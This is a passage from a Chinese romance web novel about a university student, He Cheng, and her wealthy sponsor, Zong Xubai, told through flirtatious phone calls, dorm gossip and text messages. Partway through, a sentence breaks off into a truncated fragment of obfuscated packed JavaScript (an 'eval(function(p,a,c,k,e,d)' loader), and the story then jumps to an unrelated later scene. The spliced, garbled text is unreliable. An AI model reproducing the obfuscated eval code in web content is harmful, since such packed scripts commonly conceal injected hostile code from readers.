脚下是川流不息的车辆,在这冰冷匆忙的钢筋水泥里,听到有个女孩娇软的嗓撒娇似的喊‘daddy’。 他揉了揉眉心,懒懒散散地往墙边靠,疲惫一瞬被抚平,滚了下喉。 解开一粒衬衫口,燥热仍然无法忽略,扬起脖颈,喉结再次滚动,忽然很想抽根烟,缓缓这燥闷。 笑了几声,有烟雾袅袅的缭绕,嗓音低磁:“和橙,你知不知你在说什么?” 和橙面红耳赤,神经一紧,几乎立马坐正,差点对着电话磕头:“对不起,我不是故意冒犯您的。因为您对我真的很好,我父亲要是在世,一定也是这样的……不是故意占您便宜,您就当我刚才说梦话。” 她一心扑在数理化上,没多余时间看情情爱爱的小说,在她眼里daddy,爹地是特别正气温暖的名词。不知道女生喊无血缘关系的男人daddy是暗含调情意味。 父亲? 他白色衬衫揉出褶,凌乱却禁欲,唇角勾起,有丝吊儿郎当的痞,逐字逐句的咄咄质问通过电波清晰传递。 “和橙,谁给你的错觉,我要当你父亲?” “对你好就是像父亲?” “你那个异地男友对你不够好?怎么不把他当父亲?” 和橙哑口,一时间竟然不知如何反驳这话。 他眼眸倏尔带了丝败坏,声线蔫坏地继续吐出三个字:“不公平。” 和橙呐呐说:“那不一样,您,您比他大。” 他调侃似的冷嗤了声:“比他大又如何?比他大就要当你父亲?我有那么老?” 怎么扯到年龄话题。 何况他哪里老,有钱的底气和浸养让他看上去比港大的男大还显年轻英俊。他要是老,那些二十岁的男生都要活活气出青春痘。 “不是,您不老。”和橙皱眉解释:“宗先生您别为难我了,我以后不会再有这种妄想……” “不是妄想。”他慢条斯理,一字一句:“和橙,你可以想……” 像个冷静的好老师,徐徐引诱:“换个方向。” 门从外面被打开,卢琪洗完澡哼着情歌进来,一边擦头发一边问:“嗳,还不去洗澡吗?” 瞧她满脸通红的,露出一个我懂的笑容,声音小了一点:“跟男朋友打电话啊?” “不是。”和橙立马大声否认:“是资助人宗先生。” 卢琪一听是资助人,眼睛更亮晶晶,一脸好奇。 和橙趁机转移话题,继续自己此次目的:“宗先生,我的病已经好了,我会照顾好自己,不会再乱吃东西,非常感谢您的关心和破费,请问医药费是多少?我转给您。” 那边又没了声音,静得像孤岛,令和橙心里发慌,疑惑出声:“宗先生,您还在吗?” 听见呼唤,他懒懒地嗯了声,气息不大:“今天的菜合胃口么?” 今天的中餐晚餐都是家乡美食,很合她口味。 “合的,非常谢谢您的关心,学校有食堂,我可以去食堂吃,您别再让炳叔送饭和中药给我了。” 宗勖白又低声笑了,只挑自己想回答的回答,直白了当地说:“你的道谢好没诚意。” “等我回来陪我吃饭。” 这通电话的最后,宗勖白让和橙通过他的微信。 她才看见通讯录那里有个小红点。 点了同意。 宗勖白的微信昵称是一个简单的英文名Lucas,头像是群蓝色蝴蝶翩翩飞舞。 看得出他本人很喜欢蝴蝶。 加上人后,和橙出于礼貌,先发了个笑脸jpg。 Lucas:【微信不常用,有事打我电话】 心想事橙:【好的~】 和橙将手机熄屏,懊悔不已自己刚才的鲁莽,她真是脑子抽了才会认为宗勖白想当她父亲,那声daddy让她忍不住磕桌面。 再卢琪的再三询问下,她支支吾吾地说出来。 卢琪笑得捧腹:“老天,你不是说他看上去很年轻吗?你还叫人家daddy,那不是把人家叫老了。你怎么想的?叫大哥更好吧?宗大哥,宗哥哥~多甜啊。” 和橙一愣,卢琪进来打断宗先生说话之前,那句‘换个方向’的意思似乎找到了切入口。 叫daddy显老,叫大哥既不生疏也不显老。 宗先生是这个意思吧。 这些天他对她的好又说得通了。 他把她当妹妹养。 “卢琪,你说宗先生有没有妹妹?他或许是把我当妹妹。” 卢琪瞧她一眼,将毛巾挂回衣架,笑了笑:“那你想当他妹妹吗?” “不是想不想的问题。”和橙低睫失笑,眼里有些许无奈,声音夹着哽噎:“可能是我太庸俗了,觉得他对我那么好,图我什么呢?也许他什么也不图,只是因为资助了我7年,比对别人有更多的怜悯。” “他一句话吩咐下去就会有人对我好。我却很不安,不断为他的好找理由。”她微微叹息,手指反复揉着衣角:“这种不安会持续很久很久,寝食难安。” “哪怕他本身就是一个很好的人,我也无法心安理得接受,为了让自己更快接受他的好,为了不让自己往坏方面想,替他决定他需要妹妹,需要女儿,我是不是挺搞笑的?” 她抬头,望着卢琪,眼睛睁得很大,彷佛是为了看清卢琪的面容。 对上这双真诚的眼眸卢琪心底一触。 别人的好会映照出适应者的无力和脆弱,继而转化成负担,对“纯粹性”产生怀疑审视,有些事情不愿意多想不愿意深想,只往好的,力所能及的,把控得住的方面想是因为身处下位,能给的太少,给得起的太少。 最怕的是普通之物入不了他的眼,入得了他眼的她不愿给。 卢琪没再像之前一样总是拿她和宗先生开玩笑,安慰道:“宗先生没见到你之前就资助你7年,这份善意如今表现在送餐和送中药,对于有钱人来说这种小恩小惠顺手就做了,你刚来大城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“原来你跟宗勖白还有这层关系,难怪那辆【港·ZHB6】每天都在楼下等你呢。你瞒得严啊,我们都不知道,还以为你是跟那个司机有什么呢。” “那你跟宗勖白关系岂不是很好?你帮他解决了那么大的麻烦,他很感谢你吧?” “我觉得你很幸运耶,他集团旗下的慈善基金被爆出性丑闻,你要不是他亲自资助的,估计也那个啥……” “可是,他会不会是做做样子啊?毕竟他集团陷入那么大的丑闻,全网都在抨击,这时候拉你出来转移话题。” 几人七嘴八舌,说着各自的想法。 和橙从她们的好奇和八卦里听明白了,宗勖白伟岸的个人形象扭转了一心慈善的风评。 夸他闷声干大事,默默资助一个贫困女孩7年。 “和橙,宗勖白有女朋友吗?”何书霞眉飞色舞地问:“你跟他那么熟了,应该知道吧?” 和橙抬头,四五双眼睛齐刷刷瞧着她,眼里是期待是好奇。 “我跟宗先生只是资助与被资助的关系,他的私生活我一概不知,我会接受采访是个意外,因为他人很好很好,我想为他出一份绵薄之力。” 众人见实在问不出什么才放她离开。 何书霞捞过手机,打开WhatsApp。 【替你问了,不熟~宗勖白还能看上她吗?每次看见的都是一个老头子,说她跟那老头谈了我都信~】 她跟梁家皓是前几天在米线食堂认识的,是她故意凑近他,以和橙的隔壁室友为话题开启了聊天,她从小美到大,清楚地知道自己魅力在哪,梁家皓果然被她吸引。 毫无征服感,她又不想跟这种烂人玩了。 那边很快就回复了,简单两个字母:【ok】 何书霞冷哼了声,想了想,问:【你是鲍鱼吃多了就想吃吃野菜,还是得不到就骚动啊?】 【那妹妹你帮忙摘摘野菜咯,每天隔靴搔痒我好难受的~】 何书霞没绷住表情,差点翻个白眼,彷佛这几天跟她骚聊的不是他本人。 【当我老鸨呢,我也没办法,人靓女没钱但清高得很。】 和橙回了宿舍,喝完中药,再次给宗勖白发短信。 【宗先生,再次谢谢您的好意,我真的不需要中药,我是雄鹰般的女人。】 正是会议间隙,宗勖白在休息室内,刚刚结束了一场投资报告,周启云跟他确认接下来的会议资料。 宗勖白划开手机,看到那行字,低声笑了下。 周启云:“?” 笑什么?他说的很好笑吗?咳了咳,听见一声等阵,宗勖白起身,背对他走向窗边,背影从容雅致。 和橙没想宗勖白能立马回复她,正翻开书,手机震动了下。 【袁叔说你体虚像小白兔,怎么会是雄鹰?】 和橙:【我就是看着单薄,我会每天多加运动,强身健体,而且中药好苦的,您就别让我受罪了。】 宗勖白能想象得出来,她低声说出这句话的皱眉小表情,他扯了扯领带,领带七扭八歪,喉咙里的痒却久久不散,他没再忍耐,直接拨了电话过去。 那边的嗓音有些诧异,“宗先生。” 他唇边衔了笑,循循善诱,“刚刚发的信息,念一遍给我听。”